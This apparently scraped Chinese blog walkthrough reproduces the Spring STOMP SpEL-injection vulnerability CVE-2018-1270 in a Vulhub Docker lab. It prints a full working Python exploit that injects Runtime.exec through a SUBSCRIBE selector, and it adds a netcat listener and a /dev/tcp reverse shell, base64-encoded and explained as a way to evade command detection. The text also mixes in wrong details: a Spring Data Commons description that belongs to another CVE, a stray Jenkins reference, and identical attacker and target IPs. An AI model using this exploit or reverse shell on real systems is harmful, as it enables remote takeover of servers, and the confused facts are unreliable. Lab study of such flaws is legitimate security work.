当前位置: 首页 > news >正文

Spring远程命令执行漏洞复现:原理分析+环境搭建+渗透实践(CVE-2018-1270)

目录

一、Spring远程命令执行漏洞(CVE-2018-1270)

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、访问环境

2、执行PoC攻击(需修改IP和端口)

3、执行PoC脚本(修改命令)

4、分析攻击脚本

四、反弹shell

1、攻击机监听

2、目标机建立连接

① 原始命令

② base64编码

③ 攻击目标机

3、反弹shell成功


本文通过vulhub靶场的Spring远程命令执行漏洞讲解漏洞原理(CVE-2018-1270)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。

一、Spring远程命令执行漏洞(CVE-2018-1270)

1、漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data CommonsSpring Data下所有子项目共享的基础框架。Spring Data Commons 2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

内容
漏洞编号CVE-2018-1270
漏洞类型SpEL表达式注入导致RCE
触发条件1. 应用使用Spring WebSocket + STOMP
2. 未升级到安全版本
利用方式构造恶意的STOMP SUBSCRIBE帧,在destination头中注入SpEL表达式
核心问题使用功能强大的 StandardEvaluationContext 解析用户可控的输入
修复方案升级Spring框架版本
修复方法使用功能受限的 SimpleEvaluationContext 替代 StandardEvaluationContext

2、漏洞原理

Spring框架在处理WebSocket消息订阅时,错误地将用户可控的“目的地”参数直接交给了一个功能强大且未加任何安全限制的表达式解析器(SpEL)去执行,导致攻击者可以通过注入恶意表达式(如 ${T(java.lang.Runtime).getRuntime().exec('calc')})来在服务器上远程执行任意命令。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd spring
cd CVE-2018-1270

4、启动漏洞环境

在CVE-2018-1270目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含spring-messaging:5.0.4(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的Spring漏洞镜像容器已正常运行 ,通过宿主机器的8080 端口可访问容器内的Spring框架,可用于测试CVE-2018-1270漏洞的利用。

docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
ebab59f44068   vulhub/spring-messaging:5.0.4   "java -jar /websocke…"   5 minutes ago   Up 5 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp         cve-2018-1270_spring_1
  • CONTAINER ID: ebab59f44068 这是该 Docker 容器的唯一哈希标识符的缩写,用于在命令行中精确指定和操作这个特定的容器实例(例如停止它、查看日志或进入其中)。
  • IMAGE: vulhub/spring-messaging:5.0.4 这表示当前运行的容器是从名为 vulhub/spring-messaging 且标签为 5.0.4 的 Docker 镜像创建的,该镜像特意打包了存在漏洞的 Spring Framework 5.0.4 版本用于安全测试。
  • COMMAND: "java -jar /websocke…" 这显示了容器启动时执行的初始命令,是一个被截断的指令,其完整内容通常是 java -jar /websocket-app.jar,意为在容器内部使用 Java 运行时运行一个构建好的 Jar 包应用程序。
  • CREATED: 5 minutes ago 这表示该容器是在 5 分钟之前从镜像创建并启动的,提供了容器当前的运行时长状态。
  • STATUS: Up 5 minutes 这表示该容器的状态为“正在运行”,并且已经持续运行了 5 分钟,确认了服务从启动后一直处于活动状态。
  • PORTS: 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp 这显示了容器的网络端口映射配置,表示将容器内部的 TCP 8080 端口映射到了宿主机的所有 IPv4 和 IPv6 地址的 8080 端口上,从而允许外部通过宿主机的 8080 端口访问容器内应用。
  • NAMES: cve-2018-1270_spring_1 这是分配给此容器的唯一名称,由 Docker Compose 自动生成,通常基于项目目录名(cve-2018-1270)和服务名(spring),用于更方便地识别和管理容器。

三、渗透实战

1、访问环境

Docker启动完成后,访问http://192.168.59.128:8080/如下所示可知环境启动正常。

http://192.168.59.128:8080/

2、执行PoC攻击(需修改IP和端口)

当前目录下有PoC脚本, 利用 CVE-2018-1270 (Spring WebSocket 远程代码执行漏洞) Python 攻击脚本。它的核心功能是模拟一个 WebSocket 客户端,通过与存在漏洞的 Spring 应用建立连接,然后发送一个经过特殊构造的恶意消息,最终在目标服务器上执行系统命令 touch /tmp/success(创建一个名为 success的文件作为攻击成功的证明)。

修改IP地址、端口号为环境的IP和端口号,以我的机器为例将ip改为192.168.59.128,端口号改为8080,修改后保存。

sockjs = SockJS('http://192.168.59.128:8080/gs-guide-websocket')

执行python exploit开启攻击,如下所示攻击成功。

查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了success文件,命令执行成功!

3、执行PoC脚本(修改命令)

本部分修改脚本中执行的命令,默认的情况下执行的命令是在目标服务器上执行系统命令 touch /tmp/success(创建一个名为 success的文件作为攻击成功的证明)。可以通过修改命令实现不同的攻击,如果想改为创建/tmp/mooyuan文件,需要修改exec中的命令内容,修改如下:

    'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')",

执行python exploit开启攻击,攻击后查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan文件,命令执行成功!

4、分析攻击脚本

接下来以修改后的Python脚本为例,进行分析,这是一个针对CVE-2018-1270漏洞的自动化攻击工具,它通过模拟WebSocket客户端与目标Spring应用建立SockJS连接,然后发送一个包含恶意SpEL表达式(T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan'))的特殊构造订阅请求,最终实现在远程服务器上执行系统命令并创建文件/tmp/mooyuan作为攻击成功的证据。

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread):def __init__(self, url, *args, **kwargs):super().__init__(*args, **kwargs)self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'self.daemon = Trueself.session = requests.session()self.session.headers = {'Referer': url,'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'}self.t = int(time.time()*1000)def run(self):url = f'{self.base}/htmlfile?c=_jp.vulhub'response = self.session.get(url, stream=True)for line in response.iter_lines():time.sleep(0.5)def send(self, command, headers, body=''):data = [command.upper(), '\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n')data.append(body)data.append('\x00')data = json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)if response.status_code != 204:logging.info(f"send '{command}' data error.")else:logging.info(f"send '{command}' data success.")def __del__(self):self.session.close()sockjs = SockJS('http://192.168.59.128:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'
})
sockjs.send('subscribe', {'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')",'id': 'sub-0','destination': '/topic/greetings'
})data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'
}, data)

此脚本通过建立 WebSocket 连接并向存在漏洞的 Spring 服务器注入恶意的 SpEL 表达式,从而实现在目标系统上远程执行命令 (touch /tmp/mooyuan)

  • 初始化与连接建立 (SockJS 类):

    • 它使用 SockJS 协议(一种 WebSocket 模拟协议)与位于 http://192.168.59.128:8080/gs-guide-websocket 的漏洞端点建立连接。

    • 通过创建一个长连接 (htmlfile 流) 来保持会话,这是 SockJS 的一种通信方式。

  • 发送恶意订阅帧 (sockjs.send('subscribe', ...)):

    • 这是漏洞利用的最关键步骤。脚本发送了一个 SUBSCRIBE 帧。

    • 该帧的 selector 头被精心构造为恶意 SpEL 表达式:T(java.lang.Runtime).getRuntime().exec('touch /tmp/mooyuan')

    • 在受影响版本中,Spring 服务器会错误地解析并执行此表达式,导致以服务器权限执行 touch 命令,从而在 /tmp/ 目录下创建文件。

  • 发送触发消息 (sockjs.send('send', ...)):

    • 发送一个 SEND 帧到 /app/hello 目的地,内容是一个普通的 JSON 数据 {'name': 'vulhub'}

    • 这个消息可能用于触发服务器处理之前那个恶意订阅的逻辑,或者只是为了模拟正常流量。在某些漏洞环境中,这一步是必要的,它会让服务器去处理订阅中的 selector,从而触发命令执行。

四、反弹shell

1、攻击机监听

计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

nc -lvvp 6666
  • nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。

  • -l监听(Listen) 模式,等待别人来连接。

  • -v显示详细信息(Verbose),让你能看到谁连接上了。

  • -p 6666: 在 6666 端口(Port) 上进行监听。

2、目标机建立连接

在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。

① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
  • bash -i: 启动一个交互式的(interactive)Bash shell。

  • >& /dev/tcp/192.168.59.128/6666:

    • >/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为 192.168.59.128 的机器的 6666 端口。

    • >&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。

  • 0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)

整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。

  • 执行这条命令的服务器(靶机)会主动去连接 192.168.59.128:6666

  • 连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。

  • 在 192.168.59.128 这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。

② base64编码

对命令进行base64编码,使用在线网址https://base64.us/ 即可,编码后内容如下所示。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

于是编码后的命令如下所示,目的是绕过某些命令检测机制,最终在目标系统上建立反向连接,让攻击者获得交互式 shell。这种方式通过编码隐藏真实命令。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
  • echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=:输出一段 Base64 编码的字符串,这段字符串解码后是反向 shell 命令。

    • base64 -d:对前面输出的 Base64 字符串进行解码,得到原始命令bash -i >& /dev/tcp/192.168.59.128/6666 0>&1

    • bash:将解码后的命令传递给 bash 执行,最终效果是让目标主机主动连接 IP 为 192.168.59.128、端口为 6666 的机器,建立交互式 shell,使攻击者获得目标系统的远程控制权限。

  • bash -c "...": 启动一个子Shell,专门用来执行引号 "..." 内的所有内容。

  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}

    • 作用: echo 输出后面那串乱码(YmFzaCA...)。

    • 这串乱码: 其实是 bash -i >& /dev/tcp/192.168.59.128/6666 0>&1 这个命令用Base64编码后的样子。编码是为了避免特殊符号引发问题。

  • |{base64,-d}

    • 作用: 拿到上一步的乱码,用 base64 -d 命令把它解码还原成真正的Bash命令。

  • |{bash,-i}

    • 作用: 将解码后得到的原始反弹Shell命令,交给 bash -i(一个交互式Shell)去执行

③ 攻击目标机

将exploit中的exec内容修改如下所示,然后执行python exploit.py。

exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}')

修改后如下所示,请特别注意不要打错,否则会攻击失败。

修改后保存exploit.py文件,执行攻击如下所示。

3、反弹shell成功

此时查看kali攻击机监听,已经连接成功,输入命令ip addr,返回正确结果,说明渗透成功。

http://www.dtcms.com/a/500330.html

相关文章:

  • 杭州城市建设网站wordpress注册白屏
  • python进阶题4
  • 沈阳设计网站公司网站网站建设服务目标
  • 郑州上市企业网站建设uniapp跳转内部页面
  • sm2025 模拟赛23 (2025.10.18)
  • 永泰城乡建设网站有哪些网站使用ftp
  • 力扣 547. 省份数量
  • 网站设计用于制作网页的工具软件
  • 长沙官网网站制作公司梅江区建设局网站
  • 国外的电商网站有哪些方面雪军miui一键优化
  • DAY40训练和测试的规范写法
  • 大麦抢票脚本技术解析
  • python:requests+beautifulSoup
  • 网站广东省备案系统设计之家官网首页
  • 建设银行悦生活网站小程序api接口怎么对接
  • Win11安装 Ubuntu 22.04 子系统 - WSL2 - 安装完迁移到其它盘
  • 锂电池保护芯片的船运模式
  • Foundation 折叠列表
  • 卫浴建材网站建设建站seo推广
  • 青岛网站建设兼职做企业网站有什么工作内容
  • 连云港网站建设优化百度站长平台清退
  • Orleans 流系统握手机制详解
  • 视觉网络网站辽宁鞍山网站建设
  • 最新项目贺州seo
  • 飞手通航内蒙古基地落子锡林郭勒 携手疆空科技激活北疆低空经济
  • 品牌宝免费网站手机网站策划
  • 宣传网站制作泰安哪里可以做网站
  • 简述网站建设的一般流程源码网站违法吗
  • 厦门唯一官方网站vps网站能打开
  • 怎么投诉没有备案就已经运营网站wordpress 企业 自适应